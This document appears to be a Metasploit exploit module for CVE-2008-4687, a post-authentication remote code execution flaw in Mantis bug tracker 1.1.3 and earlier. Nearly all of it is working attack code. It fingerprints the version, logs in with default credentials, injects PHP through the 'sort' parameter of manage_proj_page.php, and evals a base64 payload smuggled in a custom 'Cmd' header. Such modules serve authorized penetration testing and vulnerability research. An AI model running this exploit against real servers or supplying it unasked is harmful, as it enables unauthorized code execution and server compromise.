Mantis manage_proj_page PHP Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Mantis manage_proj_page PHP Code Execution',  
'Description' => %q{  
Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote  
Code Execution vulnerability in the sort parameter of the  
manage_proj_page.php page.  
},  
'Author' => [  
'EgiX', # Exploit-DB Entry Author  
'Lars Sorenson' # MSF module author  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
['EDB', '6768'],  
['CVE', '2008-4687'],  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Mantis <= 1.1.3', { } ],  
],  
'DisclosureDate' => 'Oct 16, 2008',  
'DefaultTarget' => 0))  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),  
OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),  
OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),  
])  
end  
  
def check  
vprint_status('Checking Mantis version ...')  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login_page.php'),  
'method' => 'GET'  
})  
  
unless res  
vprint_error('Connection to host failed!')  
return CheckCode::Unknown  
end  
  
unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/  
vprint_error('Cannot determine Mantis version!')  
return CheckCode::Unknown  
end  
  
version = Gem::Version.new(Regexp.last_match[1])  
  
vprint_status("Mantis version #{version} detected")  
  
if res.code == 200 && version <= Gem::Version.new('1.1.3')  
return CheckCode::Appears  
end  
  
CheckCode::Safe  
end  
  
def login  
vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login_page.php'),  
})  
unless res  
fail_with(Failure::Unreachable, 'Cannot access host to log in!')  
end  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'login.php'),  
'method' => 'POST',  
'vars_post' => {  
'username': datastore['username'],  
'password': datastore['password'],  
},  
'cookie'=> "PHPSESSID=#{res.get_cookies}"  
})  
unless res  
fail_with(Failure::Unknown, 'Cannot access host to log in!')  
end  
  
fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302  
fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')  
  
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])  
res.get_cookies  
end  
  
def exploit  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears  
  
cookie = login  
vprint_status('Sending payload ...')  
payload_b64 = Rex::Text.encode_base64(payload.encoded)  
data = {  
'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#",  
}  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),  
'method' => 'POST',  
'vars_post' => data,  
'headers' => {  
'Connection': 'close',  
'Cookie': cookie.to_s,  
'Cmd': payload_b64  
}  
})  
end  
end  
`